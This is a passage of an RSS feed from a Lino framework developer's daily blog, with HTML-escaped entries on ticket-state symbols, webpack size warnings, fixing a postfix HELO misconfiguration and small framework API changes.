&lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.TicketStates.new" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.TicketStates.new&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from “⛶” (U+26F6) to “⚹” (U+26B9)
because the former wasn’t rendered correctly in my firefox. Same for
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.SiteStates.new&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;TODO: &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;qs2summary()&lt;/span&gt;&lt;/code&gt; calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;summary_row()&lt;/span&gt;&lt;/code&gt; on each row. We should
probably rename this to &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;row2summary()&lt;/span&gt;&lt;/code&gt;. Maybe also rename
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#lino.core.actors.Actor.preview_limit" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.Actor.preview_limit&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;summary_limit&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;TODO: do we need to see all comments (replies) to a ticket (comment)? ATM we see
only the direct replies, there is no longer a way to “expand” a full discussion
thread. Maybe use a filter parameter for this.&lt;/p&gt;
&lt;p&gt;TODO: the welfare test suite is still failing because I am working on
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3581"&gt;#3581&lt;/a&gt; which is waiting for feedback from Mathieu.  I guess they will
decide to move the serious data fields of &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.esf.html#module-lino_welfare.modlib.esf" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.esf&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from
the ClientSummary to the Client model.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1207.html</guid><pubDate>Mon, 07 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, December 5, 2020</title><link>https://luc.lino-framework.org/blog/2020/1205.html</link><description>&lt;section id="saturday-december-5-2020"&gt;
&lt;h1&gt;Saturday, December 5, 2020&lt;a class="headerlink" href="#saturday-december-5-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3850"&gt;#3850&lt;/a&gt;. See &lt;a class="reference internal" href="1207.html"&gt;&lt;span class="doc"&gt;Monday, December 7, 2020&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1205.html</guid><pubDate>Sat, 05 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Friday, December 4, 2020</title><link>https://luc.lino-framework.org/blog/2020/1204.html</link><description>&lt;section id="friday-december-4-2020"&gt;
&lt;h1&gt;Friday, December 4, 2020&lt;a class="headerlink" href="#friday-december-4-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1204.html</guid><pubDate>Fri, 04 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, December 3, 2020</title><link>https://luc.lino-framework.org/blog/2020/1203.html</link><description>&lt;section id="thursday-december-3-2020"&gt;
&lt;h1&gt;Thursday, December 3, 2020&lt;a class="headerlink" href="#thursday-december-3-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.primefaces.org/primereact/showcase/#/setup"&gt;https://www.primefaces.org/primereact/showcase/#/setup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wondering how to get rid of this warning:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;asset&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;asset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;exceed&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;recommended&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;244&lt;/span&gt; &lt;span class="n"&gt;KiB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;impact&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;performance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Assets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.63&lt;/span&gt; &lt;span class="n"&gt;MiB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;entrypoint&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;entrypoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;combined&lt;/span&gt; &lt;span class="n"&gt;asset&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;exceeds&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;recommended&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;244&lt;/span&gt; &lt;span class="n"&gt;KiB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;impact&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt; &lt;span class="n"&gt;performance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Entrypoints&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;main&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1.63&lt;/span&gt; &lt;span class="n"&gt;MiB&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;

&lt;span class="n"&gt;WARNING&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;webpack&lt;/span&gt; &lt;span class="n"&gt;performance&lt;/span&gt; &lt;span class="n"&gt;recommendations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;bundles&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ensure&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;lazy&lt;/span&gt; &lt;span class="n"&gt;load&lt;/span&gt; &lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="n"&gt;visit&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;webpack&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;guides&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;splitting&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="https://webpack.js.org/guides/code-splitting/"&gt;https://webpack.js.org/guides/code-splitting/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1203.html</guid><pubDate>Thu, 03 Dec 2020 00:00:00 +0000</pubDate></item><item><title>Friday, November 27, 2020</title><link>https://luc.lino-framework.org/blog/2020/1127.html</link><description>&lt;section id="friday-november-27-2020"&gt;
&lt;h1&gt;Friday, November 27, 2020&lt;a class="headerlink" href="#friday-november-27-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Ha, &lt;a class="reference external" href="https://www.abuseat.org/helocheck.html"&gt;abuseat.org&lt;/a&gt; helped me to
understand what’s missing in our email configurations:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sendemail -f luc@lino-framework.org -t helocheck@abuseat.org -u Hallo -m Versuch -s mail.abuseat.org -v -o tls=no
DEBUG =&amp;gt; Connecting to mail.abuseat.org:25
DEBUG =&amp;gt; My IP address is: 167.114.229.225
SUCCESS =&amp;gt; Received:  220 SMMail 1.48.1 ESMTP
INFO =&amp;gt; Sending:      EHLO localhost
SUCCESS =&amp;gt; Received:  250-emmex.spamhaus.org Hi mail.lino-framework.org [167.114.229.225], 250-PIPELINING, 250-SIZE 1000000000, 250 STARTTLS
INFO =&amp;gt; Sending:      MAIL FROM:&amp;lt;luc@lino-framework.org&amp;gt;
SUCCESS =&amp;gt; Received:  250 &amp;lt;luc@lino-framework.org&amp;gt;, sender OK - how exciting to get mail from you!
INFO =&amp;gt; Sending:      RCPT TO:&amp;lt;helocheck@abuseat.org&amp;gt;
WARNING =&amp;gt; The recipient &amp;lt;helocheck@abuseat.org&amp;gt; was rejected by the mail server, error follows:
WARNING =&amp;gt; Received:  550 *** The HELO for IP address 167.114.229.225 was &amp;#39;localhost&amp;#39; (invalid syntax) ***
ERROR =&amp;gt; Exiting. No recipients were accepted for delivery by the mail server.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Our postfix is saying “my name is localhost” in the HELO command.&lt;/p&gt;
&lt;p&gt;This was also interesting to explain the HELO command:
&lt;a class="reference external" href="http://unixwiz.net/techtips/postfix-HELO.html"&gt;http://unixwiz.net/techtips/postfix-HELO.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Seems that it is because the &lt;cite&gt;mydomain&lt;/cite&gt; is not being set in our
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;How to restart postfix:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo service postfix restart
Failed to restart postfix.service: Unit postfix.service is masked.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Doesn’t work.
Why is the postfix service masked?
The mail.log file says interesting things like:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3982&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compatible&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt; &lt;span class="n"&gt;settings&lt;/span&gt;
&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3982&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;See&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;COMPATIBILITY_README&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;details&lt;/span&gt;
&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3982&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;To&lt;/span&gt; &lt;span class="n"&gt;disable&lt;/span&gt; &lt;span class="n"&gt;backwards&lt;/span&gt; &lt;span class="n"&gt;compatibility&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postconf compatibility_level=2&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;postfix reload&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4017&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;stopping&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;478&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;terminating&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
&lt;span class="n"&gt;Nov&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;43&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4024&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;waiting&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Postfix&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;terminate&lt;/span&gt;

&lt;span class="n"&gt;sm&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;msp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6325&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;unable&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;qualify&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt; &lt;span class="n"&gt;own&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localhost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;short&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1127.html</guid><pubDate>Fri, 27 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, November 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/1125.html</link><description>&lt;section id="wednesday-november-25-2020"&gt;
&lt;h1&gt;Wednesday, November 25, 2020&lt;a class="headerlink" href="#wednesday-november-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Some optimizations:&lt;/p&gt;
&lt;p&gt;Fixed a bug in get_title_tags that caused a text “Reply to &amp;lt;BLANK&amp;gt;” to appear.&lt;/p&gt;
&lt;p&gt;Fixed a bug that caused e.g. CommentsByMentioned to have an insert button
despite the fact that it sets insert_layout to None or editable to False.&lt;/p&gt;
&lt;p&gt;I plan to discontinue the cards display mode that had been implemented by Tonis.
This is an “intuitive” design decision because the topic is complex. For example
cards work only with react and not in extjs.  Unlike Tonis I believe that
formatting of table summaries should be done on the server, not on the client.&lt;/p&gt;
&lt;p&gt;I considered but did not yet do the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;The body text of every comment is already stored as html, it actually makes no
sense to parse them into etree elements just to render them as strings.&lt;/p&gt;
&lt;p&gt;Seems that unfortunately ElementTree does not have a mean to add a raw html
“element” as a child to another element (without parsing it).&lt;/p&gt;
&lt;p&gt;One way to fix this would be to say that  summary_row must return a series of
strings containing escaped html, not a sequence of etree elements. Same for
methods obj2html as_summary_item and href_to. We would then also rename &lt;cite&gt;summary_row&lt;/cite&gt;
to &lt;cite&gt;get_summary_chunks&lt;/cite&gt; because it yields a series of html chunks to be glued
together into a single &amp;lt;p&amp;gt; or &amp;lt;li&amp;gt; or &amp;lt;td&amp;gt; element.&lt;/p&gt;
&lt;p&gt;But if we do this, we need a clear convention about when escaping happens. In
order to avoid double escaping.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Another idea that would avoid writing &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_dashboard_items()&lt;/span&gt;&lt;/code&gt; for most
applications:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;use_in_dashboard&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;v&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;h&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;None: Don’t define a dashboard item&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;‘v’ define a dashboard item that’s visible by default&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;‘h’ define a dashboard item that’s hidden by default&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1125.html</guid><pubDate>Wed, 25 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Monday, November 23, 2020</title><link>https://luc.lino-framework.org/blog/2020/1123.html</link><description>&lt;section id="monday-november-23-2020"&gt;
&lt;h1&gt;Monday, November 23, 2020&lt;a class="headerlink" href="#monday-november-23-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="systemd"&gt;
&lt;h2&gt;systemd&lt;a class="headerlink" href="#systemd" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo journalctl -xe

$ systemctl status cron
● cron.service - Regular background program processing daemon
   Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2020-04-03 15:52:02 CEST; 7 months 20 days ago
     Docs: man:cron(8)
 Main PID: 410 (cron)
    Tasks: 1 (limit: 2319)
   Memory: 99.8M
   CGroup: /system.slice/cron.service
           └─410 /usr/sbin/cron -f


$ systemctl stop cron
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/1123.html</guid><pubDate>Mon, 23 Nov 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, November 19, 2020</title><link>https://luc.lino-framework.org/blog/2020/1119.html</link><description>&lt;section id="thursday-november-19-2020"&gt;
&lt;h1&gt;Thursday, November 19, 2020&lt;a class="headerlink" href="#thursday-november-19-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="editable-esf-fields"&gt;
&lt;h2&gt;Editable ESF fields&lt;a class="headerlink" href="#editable-esf-fields" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3581"&gt;#3581&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We add a new boolean field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ClientSummary.user_modified&lt;/span&gt;&lt;/code&gt;  and want Lino to
automatically set this field to &lt;cite&gt;True&lt;/cite&gt; whenever a statistical field gets
manually edited by an &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-end-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;end user&lt;/span&gt;&lt;/a&gt;. Since there are many statistical fields,
we don’t want to define a &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.FOO_changed()&lt;/span&gt;&lt;/code&gt; method on the model for each
of them. This is a use case for a custom &lt;a class="reference external" href="https://dev.lino-framework.org/dev/update.html#lino.core.model.Model.before_ui_save" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;before_ui_save&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;
&lt;p&gt;But we need a little optimization in the Lino core: the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/update.html#lino.core.model.Model.before_ui_save" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;before_ui_save&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method now receives a second positional
argument &lt;cite&gt;cw&lt;/cite&gt; : the change watcher, or &lt;cite&gt;None&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="step-4-of-the-lets-tutorial"&gt;
&lt;h2&gt;Step 4 of the LETS tutorial&lt;a class="headerlink" href="#step-4-of-the-lets-tutorial" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/step4.html#dev-lets-step4" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Step 4 : User types&lt;/span&gt;&lt;/a&gt; page of the  LETS tutorial (&lt;a class="reference external" href="https://dev.lino-framework.org/dev/lets/index.html#lino-tutorial-lets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;The LETS tutorial&lt;/span&gt;&lt;/a&gt;)
caused a test failure when my copy of the lets repository was not at step4
branch.  Ideed it is –by design– not a good idea to have doctests on this
page. That’s why I moved these doctests to the specs in the &lt;cite&gt;lets&lt;/cite&gt; tutorial.
